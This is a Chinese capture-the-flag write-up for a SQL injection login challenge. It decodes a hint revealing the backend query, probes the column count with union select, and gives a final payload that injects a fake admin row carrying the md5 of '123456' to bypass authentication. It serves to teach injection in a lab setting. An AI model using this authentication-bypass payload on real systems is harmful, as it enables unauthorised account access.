题目要点
- 当查询的数据不存在的时候,联合查询就会构造一个虚拟的数据。
题目内容
解题
原题目描述:刚学完sqli,我才知道万能口令这么危险,还好我进行了防护,还用md5哈希了密码!
查看源码search.php
看到MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
base32+base64解密后得到select * from user where username = '$name'
尝试user=admin&pass=123
提示为wrong pass
,再尝试user=aa
提示wrong user
,说明有admin这个user的。
尝试union联合注入,user=' union select 1,2,3 #
不报错,user=' union select 1,2,3,4 #
报错了
当查询的数据不存在的时候,联合查询就会构造一个虚拟的数据。
payload:
username栏:‘union select 1,admin’,‘e10adc3949ba59abbe56e057f20f883e’#
password栏:123456
总结:这个题考察的就是简单的手工注入+联合查询查询不存在数据会构造虚拟的数据。